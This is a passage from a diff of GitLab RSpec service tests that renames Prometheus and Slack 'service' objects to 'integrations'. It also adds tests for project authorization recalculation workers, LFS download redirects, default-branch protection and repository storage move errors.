let_it_be(:package) { create(:package, project: project) }
let_it_be(:user) { create(:user) }
+
let(:gem_name) { package.name }
let(:service) { described_class.new(project, user, gem_name: gem_name) }
diff --git a/spec/services/pod_logs/base_service_spec.rb b/spec/services/pod_logs/base_service_spec.rb
index 6f7731fda3a..d2f6300ab65 100644
--- a/spec/services/pod_logs/base_service_spec.rb
+++ b/spec/services/pod_logs/base_service_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe ::PodLogs::BaseService do
include KubernetesHelpers
let_it_be(:cluster) { create(:cluster, :provided_by_gcp, environment_scope: '*') }
+
let(:namespace) { 'autodevops-deploy-9-production' }
let(:pod_name) { 'pod-1' }
diff --git a/spec/services/pod_logs/elasticsearch_service_spec.rb b/spec/services/pod_logs/elasticsearch_service_spec.rb
index 598b162aee4..1111d9b9307 100644
--- a/spec/services/pod_logs/elasticsearch_service_spec.rb
+++ b/spec/services/pod_logs/elasticsearch_service_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe ::PodLogs::ElasticsearchService do
let_it_be(:cluster) { create(:cluster, :provided_by_gcp, environment_scope: '*') }
+
let(:namespace) { 'autodevops-deploy-9-production' }
let(:pod_name) { 'pod-1' }
diff --git a/spec/services/pod_logs/kubernetes_service_spec.rb b/spec/services/pod_logs/kubernetes_service_spec.rb
index 3e31ff15c1b..c06a87830ca 100644
--- a/spec/services/pod_logs/kubernetes_service_spec.rb
+++ b/spec/services/pod_logs/kubernetes_service_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe ::PodLogs::KubernetesService do
include KubernetesHelpers
let_it_be(:cluster) { create(:cluster, :provided_by_gcp, environment_scope: '*') }
+
let(:namespace) { 'autodevops-deploy-9-production' }
let(:pod_name) { 'pod-1' }
diff --git a/spec/services/post_receive_service_spec.rb b/spec/services/post_receive_service_spec.rb
index 2a78dc454c7..871ed95bf28 100644
--- a/spec/services/post_receive_service_spec.rb
+++ b/spec/services/post_receive_service_spec.rb
@@ -283,7 +283,7 @@ RSpec.describe PostReceiveService do
context 'with a redirected data' do
it 'returns redirected message on the response' do
- project_moved = Gitlab::Checks::ProjectMoved.new(project.repository, user, 'http', 'foo/baz')
+ project_moved = Gitlab::Checks::ContainerMoved.new(project.repository, user, 'http', 'foo/baz')
project_moved.add_message
expect(subject).to include(build_basic_message(project_moved.message))
diff --git a/spec/services/projects/create_service_spec.rb b/spec/services/projects/create_service_spec.rb
index ac0b6cc8ef1..defeadb479a 100644
--- a/spec/services/projects/create_service_spec.rb
+++ b/spec/services/projects/create_service_spec.rb
@@ -190,6 +190,7 @@ RSpec.describe Projects::CreateService, '#execute' do
let_it_be(:group) { create(:group) }
let_it_be(:shared_group) { create(:group) }
let_it_be(:shared_group_user) { create(:user) }
+
let(:opts) do
{
name: 'GitLab',
@@ -221,6 +222,7 @@ RSpec.describe Projects::CreateService, '#execute' do
let_it_be(:subgroup_for_projects) { create(:group, :private, parent: group) }
let_it_be(:subgroup_for_access) { create(:group, :private, parent: group) }
let_it_be(:group_maintainer) { create(:user) }
+
let(:group_access_level) { Gitlab::Access::REPORTER }
let(:subgroup_access_level) { Gitlab::Access::DEVELOPER }
let(:share_max_access_level) { Gitlab::Access::MAINTAINER }
@@ -582,32 +584,49 @@ RSpec.describe Projects::CreateService, '#execute' do
expect(branches.size).to eq(1)
expect(branches.collect(&:name)).to contain_exactly('example_branch')
end
+
+ describe 'advanced readme content', experiment: :new_project_readme_content do
+ before do
+ stub_experiments(new_project_readme_content: :advanced)
+ end
+
+ it_behaves_like 'creates README.md'
+
+ it 'includes advanced content in the README.md' do
+ content = project.repository.readme.data
+ expect(content).to include <<~MARKDOWN
+ git remote add origin #{project.http_url_to_repo}
+ git branch -M example_branch
+ git push -uf origin example_branch
+ MARKDOWN
+ end
+ end
end
end
- describe 'create service for the project' do
+ describe 'create integration for the project' do
subject(:project) { create_project(user, opts) }
- context 'with an active service template' do
- let!(:template_integration) { create(:prometheus_service, :template, api_url: 'https://prometheus.template.com/') }
+ context 'with an active integration template' do
+ let!(:template_integration) { create(:prometheus_integration, :template, api_url: 'https://prometheus.template.com/') }
- it 'creates a service from the template' do
+ it 'creates an integration from the template' do
expect(project.integrations.count).to eq(1)
expect(project.integrations.first.api_url).to eq(template_integration.api_url)
expect(project.integrations.first.inherit_from_id).to be_nil
end
context 'with an active instance-level integration' do
- let!(:instance_integration) { create(:prometheus_service, :instance, api_url: 'https://prometheus.instance.com/') }
+ let!(:instance_integration) { create(:prometheus_integration, :instance, api_url: 'https://prometheus.instance.com/') }
- it 'creates a service from the instance-level integration' do
+ it 'creates an integration from the instance-level integration' do
expect(project.integrations.count).to eq(1)
expect(project.integrations.first.api_url).to eq(instance_integration.api_url)
expect(project.integrations.first.inherit_from_id).to eq(instance_integration.id)
end
context 'with an active group-level integration' do
- let!(:group_integration) { create(:prometheus_service, group: group, project: nil, api_url: 'https://prometheus.group.com/') }
+ let!(:group_integration) { create(:prometheus_integration, group: group, project: nil, api_url: 'https://prometheus.group.com/') }
let!(:group) do
create(:group).tap do |group|
group.add_owner(user)
@@ -621,14 +640,14 @@ RSpec.describe Projects::CreateService, '#execute' do
}
end
- it 'creates a service from the group-level integration' do
+ it 'creates an integration from the group-level integration' do
expect(project.integrations.count).to eq(1)
expect(project.integrations.first.api_url).to eq(group_integration.api_url)
expect(project.integrations.first.inherit_from_id).to eq(group_integration.id)
end
context 'with an active subgroup' do
- let!(:subgroup_integration) { create(:prometheus_service, group: subgroup, project: nil, api_url: 'https://prometheus.subgroup.com/') }
+ let!(:subgroup_integration) { create(:prometheus_integration, group: subgroup, project: nil, api_url: 'https://prometheus.subgroup.com/') }
let!(:subgroup) do
create(:group, parent: group).tap do |subgroup|
subgroup.add_owner(user)
@@ -642,7 +661,7 @@ RSpec.describe Projects::CreateService, '#execute' do
}
end
- it 'creates a service from the subgroup-level integration' do
+ it 'creates an integration from the subgroup-level integration' do
expect(project.integrations.count).to eq(1)
expect(project.integrations.first.api_url).to eq(subgroup_integration.api_url)
expect(project.integrations.first.inherit_from_id).to eq(subgroup_integration.id)
@@ -686,69 +705,6 @@ RSpec.describe Projects::CreateService, '#execute' do
create_project(user, opts)
end
- context 'when project has access to shared service' do
- before do
- stub_feature_flags(projects_post_creation_worker: false)
- end
-
- context 'Prometheus integration is shared via group cluster' do
- let(:cluster) { create(:cluster, :group, groups: [group]) }
- let(:group) do
- create(:group).tap do |group|
- group.add_owner(user)
- end
- end
-
- before do
- create(:clusters_integrations_prometheus, cluster: cluster)
- end
-
- it 'creates PrometheusService record', :aggregate_failures do
- project = create_project(user, opts.merge!(namespace_id: group.id))
- service = project.prometheus_service
-
- expect(service.active).to be true
- expect(service.manual_configuration?).to be false
- expect(service.persisted?).to be true
- end
- end
-
- context 'Prometheus integration is shared via instance cluster' do
- let(:cluster) { create(:cluster, :instance) }
-
- before do
- create(:clusters_integrations_prometheus, cluster: cluster)
- end
-
- it 'creates PrometheusService record', :aggregate_failures do
- project = create_project(user, opts)
- service = project.prometheus_service
-
- expect(service.active).to be true
- expect(service.manual_configuration?).to be false
- expect(service.persisted?).to be true
- end
-
- it 'cleans invalid record and logs warning', :aggregate_failures do
- invalid_service_record = build(:prometheus_service, properties: { api_url: nil, manual_configuration: true }.to_json)
- allow(PrometheusService).to receive(:new).and_return(invalid_service_record)
-
- expect(Gitlab::ErrorTracking).to receive(:track_exception).with(an_instance_of(ActiveRecord::RecordInvalid), include(extra: { project_id: a_kind_of(Integer) }))
- project = create_project(user, opts)
-
- expect(project.prometheus_service).to be_nil
- end
- end
-
- context 'shared Prometheus integration is not available' do
- it 'does not persist PrometheusService record', :aggregate_failures do
- project = create_project(user, opts)
-
- expect(project.prometheus_service).to be_nil
- end
- end
- end
-
context 'with external authorization enabled' do
before do
enable_external_authorization_service_check
diff --git a/spec/services/projects/destroy_rollback_service_spec.rb b/spec/services/projects/destroy_rollback_service_spec.rb
index f63939337b8..3eaacc8c1e7 100644
--- a/spec/services/projects/destroy_rollback_service_spec.rb
+++ b/spec/services/projects/destroy_rollback_service_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Projects::DestroyRollbackService do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project, :repository, namespace: user.namespace) }
+
let(:repository) { project.repository }
let(:repository_storage) { project.repository_storage }
diff --git a/spec/services/projects/destroy_service_spec.rb b/spec/services/projects/destroy_service_spec.rb
index c6b2b1e2b21..4a76347ea45 100644
--- a/spec/services/projects/destroy_service_spec.rb
+++ b/spec/services/projects/destroy_service_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Projects::DestroyService, :aggregate_failures do
include ProjectForksHelper
let_it_be(:user) { create(:user) }
+
let!(:project) { create(:project, :repository, namespace: user.namespace) }
let(:path) { project.repository.disk_path }
let(:remove_path) { removal_path(path) }
diff --git a/spec/services/projects/gitlab_projects_import_service_spec.rb b/spec/services/projects/gitlab_projects_import_service_spec.rb
index 09d093a9916..d32e720a49f 100644
--- a/spec/services/projects/gitlab_projects_import_service_spec.rb
+++ b/spec/services/projects/gitlab_projects_import_service_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Projects::GitlabProjectsImportService do
let_it_be(:namespace) { create(:namespace) }
+
let(:path) { 'test-path' }
let(:file) { fixture_file_upload('spec/fixtures/project_export.tar.gz') }
let(:overwrite) { false }
diff --git a/spec/services/projects/group_links/create_service_spec.rb b/spec/services/projects/group_links/create_service_spec.rb
index 9bc780fe177..4ea5f2b3a53 100644
--- a/spec/services/projects/group_links/create_service_spec.rb
+++ b/spec/services/projects/group_links/create_service_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Projects::GroupLinks::CreateService, '#execute' do
let_it_be(:user) { create :user }
let_it_be(:group) { create :group }
let_it_be(:project) { create :project }
+
let(:group_access) { Gitlab::Access::DEVELOPER }
let(:opts) do
{
@@ -49,9 +50,9 @@ RSpec.describe Projects::GroupLinks::CreateService, '#execute' do
expect(AuthorizedProjectsWorker).not_to(
receive(:bulk_perform_async)
)
- expect(AuthorizedProjectUpdate::ProjectGroupLinkCreateWorker).to(
+ expect(AuthorizedProjectUpdate::ProjectRecalculateWorker).to(
receive(:perform_async)
- .with(project.id, group.id, group_access)
+ .with(project.id)
.and_call_original
)
expect(AuthorizedProjectUpdate::UserRefreshFromReplicaWorker).to(
diff --git a/spec/services/projects/group_links/destroy_service_spec.rb b/spec/services/projects/group_links/destroy_service_spec.rb
index d60e9a01e54..d65afb68bfe 100644
--- a/spec/services/projects/group_links/destroy_service_spec.rb
+++ b/spec/services/projects/group_links/destroy_service_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Projects::GroupLinks::DestroyService, '#execute' do
let_it_be(:user) { create :user }
let_it_be(:project) { create(:project, :private) }
let_it_be(:group) { create(:group) }
+
let!(:group_link) { create(:project_group_link, project: project, group: group) }
subject { described_class.new(project, user) }
diff --git a/spec/services/projects/group_links/update_service_spec.rb b/spec/services/projects/group_links/update_service_spec.rb
index 053c5eb611e..4a38fb0c7d9 100644
--- a/spec/services/projects/group_links/update_service_spec.rb
+++ b/spec/services/projects/group_links/update_service_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Projects::GroupLinks::UpdateService, '#execute' do
let_it_be(:user) { create :user }
let_it_be(:group) { create :group }
let_it_be(:project) { create :project }
+
let!(:link) { create(:project_group_link, project: project, group: group) }
let(:expiry_date) { 1.month.from_now.to_date }
@@ -32,25 +33,87 @@ RSpec.describe Projects::GroupLinks::UpdateService, '#execute' do
expect(link.expires_at).to eq(expiry_date)
end
- it 'updates project permissions' do
- expect { subject }.to change { user.can?(:create_release, project) }.from(true).to(false)
- end
+ context 'project authorizations update' do
+ context 'when the feature flag `specialized_worker_for_project_share_update_auth_recalculation` is enabled' do
+ before do
+ stub_feature_flags(specialized_worker_for_project_share_update_auth_recalculation: true)
+ end
+
+ it 'calls AuthorizedProjectUpdate::ProjectRecalculateWorker to update project authorizations' do
+ expect(AuthorizedProjectUpdate::ProjectRecalculateWorker)
+ .to receive(:perform_async).with(link.project.id)
+
+ subject
+ end
+
+ it 'calls AuthorizedProjectUpdate::UserRefreshFromReplicaWorker with a delay to update project authorizations' do
+ expect(AuthorizedProjectUpdate::UserRefreshFromReplicaWorker).to(
+ receive(:bulk_perform_in)
+ .with(1.hour,
+ [[user.id]],
+ batch_delay: 30.seconds, batch_size: 100)
+ )
- it 'executes UserProjectAccessChangedService' do
- expect_next_instance_of(UserProjectAccessChangedService) do |service|
- expect(service).to receive(:execute)
+ subject
+ end
+
+ it 'updates project authorizations of users who had access to the project via the group share', :sidekiq_inline do
+ group.add_maintainer(user)
+
+ expect { subject }.to(
+ change { Ability.allowed?(user, :create_release, project) }
+ .from(true).to(false))
+ end
end
- subject
+ context 'when the feature flag `specialized_worker_for_project_share_update_auth_recalculation` is disabled' do
+ before do
+ stub_feature_flags(specialized_worker_for_project_share_update_auth_recalculation: false)
+ end
+
+ it 'calls UserProjectAccessChangedService to update project authorizations' do
+ expect_next_instance_of(UserProjectAccessChangedService, [user.id]) do |service|
+ expect(service).to receive(:execute)
+ end
+
+ subject
+ end
+
+ it 'updates project authorizations of users who had access to the project via the group share' do
+ group.add_maintainer(user)
+
+ expect { subject }.to(
+ change { Ability.allowed?(user, :create_release, project) }
+ .from(true).to(false))
+ end
+ end
end
context 'with only param not requiring authorization refresh' do
let(:group_link_params) { { expires_at: Date.tomorrow } }
- it 'does not execute UserProjectAccessChangedService' do
- expect(UserProjectAccessChangedService).not_to receive(:new)
+ context 'when the feature flag `specialized_worker_for_project_share_update_auth_recalculation` is enabled' do
+ before do
+ stub_feature_flags(specialized_worker_for_project_share_update_auth_recalculation: true)
+ end
+
+ it 'does not perform any project authorizations update using `AuthorizedProjectUpdate::ProjectRecalculateWorker`' do
+ expect(AuthorizedProjectUpdate::ProjectRecalculateWorker).not_to receive(:perform_async)
+
+ subject
+ end
+ end
+
+ context 'when the feature flag `specialized_worker_for_project_share_update_auth_recalculation` is disabled' do
+ before do
+ stub_feature_flags(specialized_worker_for_project_share_update_auth_recalculation: false)
+ end
+
+ it 'does not perform any project authorizations update using `UserProjectAccessChangedService`' do
+ expect(UserProjectAccessChangedService).not_to receive(:new)
- subject
+ subject
+ end
end
end
end
diff --git a/spec/services/projects/lfs_pointers/lfs_download_service_spec.rb b/spec/services/projects/lfs_pointers/lfs_download_service_spec.rb
index 1fb6dae0c08..f27ebb2e19e 100644
--- a/spec/services/projects/lfs_pointers/lfs_download_service_spec.rb
+++ b/spec/services/projects/lfs_pointers/lfs_download_service_spec.rb
@@ -106,6 +106,26 @@ RSpec.describe Projects::LfsPointers::LfsDownloadService do
end
end
+ context 'when file download returns a redirect' do
+ let(:redirect_link) { 'http://external-link' }
+
+ before do
+ stub_full_request(download_link).to_return(status: 301, body: 'You are being redirected', headers: { 'Location' => redirect_link } )
+ stub_full_request(redirect_link).to_return(body: lfs_content)
+ end
+
+ it_behaves_like 'lfs object is created'
+
+ it 'correctly stores lfs object' do
+ subject.execute
+
+ new_lfs_object = LfsObject.first
+
+ expect(new_lfs_object).to have_attributes(oid: oid, size: size)
+ expect(File.binread(new_lfs_object.file.file.file)).to eq lfs_content
+ end
+ end
+
context 'when downloaded lfs file has a different size' do
let(:size) { 1 }
@@ -252,6 +272,18 @@ RSpec.describe Projects::LfsPointers::LfsDownloadService do
context 'and first fragments are the same' do
let(:lfs_content) { existing_lfs_object.file.read }
+ context 'when lfs_link_existing_object feature flag disabled' do
+ before do
+ stub_feature_flags(lfs_link_existing_object: false)
+ end
+
+ it 'does not call link_existing_lfs_object!' do
+ expect(subject).not_to receive(:link_existing_lfs_object!)
+
+ subject.execute
+ end
+ end
+
it 'returns success' do
expect(subject.execute).to eq({ status: :success })
end
diff --git a/spec/services/projects/operations/update_service_spec.rb b/spec/services/projects/operations/update_service_spec.rb
index 018bfa8ef61..f91f879b772 100644
--- a/spec/services/projects/operations/update_service_spec.rb
+++ b/spec/services/projects/operations/update_service_spec.rb
@@ -378,8 +378,8 @@ RSpec.describe Projects::Operations::UpdateService do
context 'prometheus integration' do
context 'prometheus params were passed into service' do
- let(:prometheus_service) do
- build_stubbed(:prometheus_service, project: project, properties: {
+ let(:prometheus_integration) do
+ build_stubbed(:prometheus_integration, project: project, properties: {
api_url: "http://example.prometheus.com",
manual_configuration: "0"
})
@@ -394,18 +394,18 @@ RSpec.describe Projects::Operations::UpdateService do
}
end
- it 'uses Project#find_or_initialize_service to include instance defined defaults and pass them to Projects::UpdateService', :aggregate_failures do
+ it 'uses Project#find_or_initialize_integration to include instance defined defaults and pass them to Projects::UpdateService', :aggregate_failures do
project_update_service = double(Projects::UpdateService)
expect(project)
- .to receive(:find_or_initialize_service)
+ .to receive(:find_or_initialize_integration)
.with('prometheus')
- .and_return(prometheus_service)
+ .and_return(prometheus_integration)
expect(Projects::UpdateService).to receive(:new) do |project_arg, user_arg, update_params_hash|
expect(project_arg).to eq project
expect(user_arg).to eq user
- expect(update_params_hash[:prometheus_service_attributes]).to include('properties' => { 'api_url' => 'http://new.prometheus.com', 'manual_configuration' => '1' })
- expect(update_params_hash[:prometheus_service_attributes]).not_to include(*%w(id project_id created_at updated_at))
+ expect(update_params_hash[:prometheus_integration_attributes]).to include('properties' => { 'api_url' => 'http://new.prometheus.com', 'manual_configuration' => '1' })
+ expect(update_params_hash[:prometheus_integration_attributes]).not_to include(*%w(id project_id created_at updated_at))
end.and_return(project_update_service)
expect(project_update_service).to receive(:execute)
@@ -413,13 +413,13 @@ RSpec.describe Projects::Operations::UpdateService do
end
end
- context 'prometheus params were not passed into service' do
+ context 'when prometheus params are not passed into service' do
let(:params) { { something: :else } }
it 'does not pass any prometheus params into Projects::UpdateService', :aggregate_failures do
project_update_service = double(Projects::UpdateService)
- expect(project).not_to receive(:find_or_initialize_service)
+ expect(project).not_to receive(:find_or_initialize_integration)
expect(Projects::UpdateService)
.to receive(:new)
.with(project, user, {})
diff --git a/spec/services/projects/prometheus/alerts/notify_service_spec.rb b/spec/services/projects/prometheus/alerts/notify_service_spec.rb
index 5235c64d451..25cf588dedf 100644
--- a/spec/services/projects/prometheus/alerts/notify_service_spec.rb
+++ b/spec/services/projects/prometheus/alerts/notify_service_spec.rb
@@ -115,7 +115,7 @@ RSpec.describe Projects::Prometheus::Alerts::NotifyService do
let(:alert_manager_token) { token_input }
before do
- create(:prometheus_service, project: project)
+ create(:prometheus_integration, project: project)
if alerting_setting
create(:project_alerting_setting,
@@ -165,7 +165,7 @@ RSpec.describe Projects::Prometheus::Alerts::NotifyService do
context 'incident settings' do
before do
- create(:prometheus_service, project: project)
+ create(:prometheus_integration, project: project)
create(:project_alerting_setting, project: project, token: token)
end
@@ -204,7 +204,7 @@ RSpec.describe Projects::Prometheus::Alerts::NotifyService do
let(:process_service) { instance_double(AlertManagement::ProcessPrometheusAlertService) }
before do
- create(:prometheus_service, project: project)
+ create(:prometheus_integration, project: project)
create(:project_alerting_setting, project: project, token: token)
end
diff --git a/spec/services/projects/protect_default_branch_service_spec.rb b/spec/services/projects/protect_default_branch_service_spec.rb
index a485a64ca35..c8aa421cdd4 100644
--- a/spec/services/projects/protect_default_branch_service_spec.rb
+++ b/spec/services/projects/protect_default_branch_service_spec.rb
@@ -99,6 +99,53 @@ RSpec.describe Projects::ProtectDefaultBranchService do
.not_to have_received(:create_protected_branch)
end
end
+
+ context 'when protected branch does not exist' do
+ before do
+ allow(service)
+ .to receive(:protected_branch_exists?)
+ .and_return(false)
+ allow(service)
+ .to receive(:protect_branch?)
+ .and_return(true)
+ end
+
+ it 'changes the HEAD of the project' do
+ service.protect_default_branch
+
+ expect(project)
+ .to have_received(:change_head)
+ end
+
+ it 'protects the default branch' do
+ service.protect_default_branch
+
+ expect(service)
+ .to have_received(:create_protected_branch)
+ end
+ end
+
+ context 'when protected branch already exists' do
+ before do
+ allow(service)
+ .to receive(:protected_branch_exists?)
+ .and_return(true)
+ end
+
+ it 'changes the HEAD of the project' do
+ service.protect_default_branch
+
+ expect(project)
+ .to have_received(:change_head)
+ end
+
+ it 'does not protect the default branch' do
+ service.protect_default_branch
+
+ expect(service)
+ .not_to have_received(:create_protected_branch)
+ end
+ end
end
describe '#create_protected_branch' do
diff --git a/spec/services/projects/transfer_service_spec.rb b/spec/services/projects/transfer_service_spec.rb
index 3171abfb36f..b71677a5e8f 100644
--- a/spec/services/projects/transfer_service_spec.rb
+++ b/spec/services/projects/transfer_service_spec.rb
@@ -7,7 +7,8 @@ RSpec.describe Projects::TransferService do
let_it_be(:user) { create(:user) }
let_it_be(:group) { create(:group) }
- let_it_be(:group_integration) { create(:slack_service, group: group, project: nil, webhook: 'http://group.slack.com') }
+ let_it_be(:group_integration) { create(:integrations_slack, group: group, project: nil, webhook: 'http://group.slack.com') }
+
let(:project) { create(:project, :repository, :legacy_storage, namespace: user.namespace) }
subject(:execute_transfer) { described_class.new(project, user).execute(group).tap { project.reload } }
@@ -121,24 +122,24 @@ RSpec.describe Projects::TransferService do
context 'with a project integration' do
let_it_be_with_reload(:project) { create(:project, namespace: user.namespace) }
- let_it_be(:instance_integration) { create(:slack_service, :instance, webhook: 'http://project.slack.com') }
+ let_it_be(:instance_integration) { create(:integrations_slack, :instance, webhook: 'http://project.slack.com') }
context 'with an inherited integration' do
- let_it_be(:project_integration) { create(:slack_service, project: project, webhook: 'http://project.slack.com', inherit_from_id: instance_integration.id) }
+ let_it_be(:project_integration) { create(:integrations_slack, project: project, webhook: 'http://project.slack.com', inherit_from_id: instance_integration.id) }
it 'replaces inherited integrations', :aggregate_failures do
execute_transfer
- expect(project.slack_service.webhook).to eq(group_integration.webhook)
+ expect(project.slack_integration.webhook).to eq(group_integration.webhook)
expect(Integration.count).to eq(3)
end
end
context 'with a custom integration' do
- let_it_be(:project_integration) { create(:slack_service, project: project, webhook: 'http://project.slack.com') }
+ let_it_be(:project_integration) { create(:integrations_slack, project: project, webhook: 'http://project.slack.com') }
it 'does not updates the integrations' do
- expect { execute_transfer }.not_to change { project.slack_service.webhook }
+ expect { execute_transfer }.not_to change { project.slack_integration.webhook }
end
end
end
@@ -434,28 +435,74 @@ RSpec.describe Projects::TransferService do
end
describe 'refreshing project authorizations' do
+ let(:old_group) { create(:group) }
+ let!(:project) { create(:project, namespace: old_group) }
+ let(:member_of_old_group) { create(:user) }
let(:group) { create(:group) }
- let(:owner) { project.namespace.owner }
- let(:group_member) { create(:user) }
+ let(:member_of_new_group) { create(:user) }
before do
- group.add_user(owner, GroupMember::MAINTAINER)
- group.add_user(group_member, GroupMember::DEVELOPER)
+ old_group.add_developer(member_of_old_group)
+ group.add_maintainer(member_of_new_group)
+
+ # Add the executing user as owner in both groups, so that
+ # transfer can be executed.
+ old_group.add_owner(user)
+ group.add_owner(user)
end
- it 'refreshes the permissions of the old and new namespace' do
- execute_transfer
+ context 'when the feature flag `specialized_worker_for_project_transfer_auth_recalculation` is enabled' do
+ before do
+ stub_feature_flags(specialized_worker_for_project_transfer_auth_recalculation: true)
+ end
+
+ it 'calls AuthorizedProjectUpdate::ProjectRecalculateWorker to update project authorizations' do
+ expect(AuthorizedProjectUpdate::ProjectRecalculateWorker)
+ .to receive(:perform_async).with(project.id)
+
+ execute_transfer
+ end
+
+ it 'calls AuthorizedProjectUpdate::UserRefreshFromReplicaWorker with a delay to update project authorizations' do
+ user_ids = [user.id, member_of_old_group.id, member_of_new_group.id].map { |id| [id] }
+
+ expect(AuthorizedProjectUpdate::UserRefreshFromReplicaWorker).to(
+ receive(:bulk_perform_in)
+ .with(1.hour,
+ user_ids,
+ batch_delay: 30.seconds, batch_size: 100)
+ )
- expect(group_member.authorized_projects).to include(project)
- expect(owner.authorized_projects).to include(project)
+ subject
+ end
+
+ it 'refreshes the permissions of the members of the old and new namespace', :sidekiq_inline do
+ expect { execute_transfer }
+ .to change { member_of_old_group.authorized_projects.include?(project) }.from(true).to(false)
+ .and change { member_of_new_group.authorized_projects.include?(project) }.from(false).to(true)
+ end
end
- it 'only schedules a single job for every user' do
- expect_next_instance_of(UserProjectAccessChangedService, [owner.id, group_member.id]) do |service|
- expect(service).to receive(:execute).once.and_call_original
+ context 'when the feature flag `specialized_worker_for_project_transfer_auth_recalculation` is disabled' do
+ before do
+ stub_feature_flags(specialized_worker_for_project_transfer_auth_recalculation: false)
end
- execute_transfer
+ it 'calls UserProjectAccessChangedService to update project authorizations' do
+ user_ids = [user.id, member_of_old_group.id, member_of_new_group.id]
+
+ expect_next_instance_of(UserProjectAccessChangedService, user_ids) do |service|
+ expect(service).to receive(:execute)
+ end
+
+ execute_transfer
+ end
+
+ it 'refreshes the permissions of the members of the old and new namespace' do
+ expect { execute_transfer }
+ .to change { member_of_old_group.authorized_projects.include?(project) }.from(true).to(false)
+ .and change { member_of_new_group.authorized_projects.include?(project) }.from(false).to(true)
+ end
end
end
diff --git a/spec/services/projects/update_pages_service_spec.rb b/spec/services/projects/update_pages_service_spec.rb
index b11607bc213..5898504b463 100644
--- a/spec/services/projects/update_pages_service_spec.rb
+++ b/spec/services/projects/update_pages_service_spec.rb
@@ -5,6 +5,7 @@ require "spec_helper"
RSpec.describe Projects::UpdatePagesService do
let_it_be(:project, refind: true) { create(:project, :repository) }
let_it_be(:pipeline) { create(:ci_pipeline, project: project, sha: project.commit('HEAD').sha) }
+
let(:build) { create(:ci_build, pipeline: pipeline, ref: 'HEAD') }
let(:invalid_file) { fixture_file_upload('spec/fixtures/dk.png') }
diff --git a/spec/services/projects/update_repository_storage_service_spec.rb b/spec/services/projects/update_repository_storage_service_spec.rb
index 5b15b7d5f34..17d01a57221 100644
--- a/spec/services/projects/update_repository_storage_service_spec.rb
+++ b/spec/services/projects/update_repository_storage_service_spec.rb
@@ -83,9 +83,10 @@ RSpec.describe Projects::UpdateRepositoryStorageService do
.with(project.repository.raw)
.and_raise(Gitlab::Git::CommandError)
- result = subject.execute
+ expect do
+ subject.execute
+ end.to raise_error(Gitlab::Git::CommandError)
- expect(result).to be_error
expect(project).not_to be_repository_read_only
expect(project.repository_storage).to eq('default')
expect(repository_storage_move).to be_failed
@@ -101,9 +102,10 @@ RSpec.describe Projects::UpdateRepositoryStorageService do
expect(original_project_repository_double).to receive(:remove)
.and_raise(Gitlab::Git::CommandError)
- result = subject.execute
+ expect do
+ subject.execute
+ end.to raise_error(Gitlab::Git::CommandError)
- expect(result).to be_error
expect(repository_storage_move).to be_cleanup_failed
end
end
@@ -118,9 +120,10 @@ RSpec.describe Projects::UpdateRepositoryStorageService do
expect(project_repository_double).to receive(:checksum)
.and_return('not matching checksum')
- result = subject.execute
+ expect do
+ subject.execute
+ end.to raise_error(UpdateRepositoryStorageMethods::Error, /Failed to verify project repository checksum/)
- expect(result).to be_error
expect(project).not_to be_repository_read_only
expect(project.repository_storage).to eq('default')
end
diff --git a/spec/services/projects/update_service_spec.rb b/spec/services/projects/update_service_spec.rb
index e1b22da2e61..c74a8295d0a 100644
--- a/spec/services/projects/update_service_spec.rb
+++ b/spec/services/projects/update_service_spec.rb
@@ -200,17 +200,32 @@ RSpec.describe Projects::UpdateService do
context 'when updating a default branch' do
let(:project) { create(:project, :repository) }
- it 'changes a default branch' do
+ it 'changes default branch, tracking the previous branch' do
+ previous_default_branch = project.default_branch
+
update_project(project, admin, default_branch: 'feature')
- expect(Project.find(project.id).default_branch).to eq 'feature'
+ project.reload
+
+ expect(project.default_branch).to eq('feature')
+ expect(project.previous_default_branch).to eq(previous_default_branch)
+
+ update_project(project, admin, default_branch: previous_default_branch)
+
+ project.reload
+
+ expect(project.default_branch).to eq(previous_default_branch)
+ expect(project.previous_default_branch).to eq('feature')
end
it 'does not change a default branch' do
# The branch 'unexisted-branch' does not exist.
update_project(project, admin, default_branch: 'unexisted-branch')
- expect(Project.find(project.id).default_branch).to eq 'master'
+ project.reload
+
+ expect(project.default_branch).to eq 'master'
+ expect(project.previous_default_branch).to be_nil
end
end
@@ -468,58 +483,58 @@ RSpec.describe Projects::UpdateService do
end
end
- context 'when updating nested attributes for prometheus service' do
- context 'prometheus service exists' do
- let(:prometheus_service_attributes) do
- attributes_for(:prometheus_service,
+ context 'when updating nested attributes for prometheus integration' do
+ context 'prometheus integration exists' do
+ let(:prometheus_integration_attributes) do
+ attributes_for(:prometheus_integration,
project: project,
properties: { api_url: "http://new.prometheus.com", manual_configuration: "0" }
)
end
- let!(:prometheus_service) do
- create(:prometheus_service,
+ let!(:prometheus_integration) do
+ create(:prometheus_integration,
project: project,
properties: { api_url: "http://old.prometheus.com", manual_configuration: "0" }
)
end
it 'updates existing record' do
- expect { update_project(project, user, prometheus_service_attributes: prometheus_service_attributes) }
- .to change { prometheus_service.reload.api_url }
+ expect { update_project(project, user, prometheus_integration_attributes: prometheus_integration_attributes) }
+ .to change { prometheus_integration.reload.api_url }
.from("http://old.prometheus.com")
.to("http://new.prometheus.com")
end
end
- context 'prometheus service does not exist' do
+ context 'prometheus integration does not exist' do
context 'valid parameters' do
- let(:prometheus_service_attributes) do
- attributes_for(:prometheus_service,
+ let(:prometheus_integration_attributes) do
+ attributes_for(:prometheus_integration,
project: project,
properties: { api_url: "http://example.prometheus.com", manual_configuration: "0" }
)
end
it 'creates new record' do
- expect { update_project(project, user, prometheus_service_attributes: prometheus_service_attributes) }
- .to change { ::PrometheusService.where(project: project).count }
+ expect { update_project(project, user, prometheus_integration_attributes: prometheus_integration_attributes) }
+ .to change { ::Integrations::Prometheus.where(project: project).count }
.from(0)
.to(1)
end
end
context 'invalid parameters' do
- let(:prometheus_service_attributes) do
- attributes_for(:prometheus_service,
+ let(:prometheus_integration_attributes) do
+ attributes_for(:prometheus_integration,
project: project,
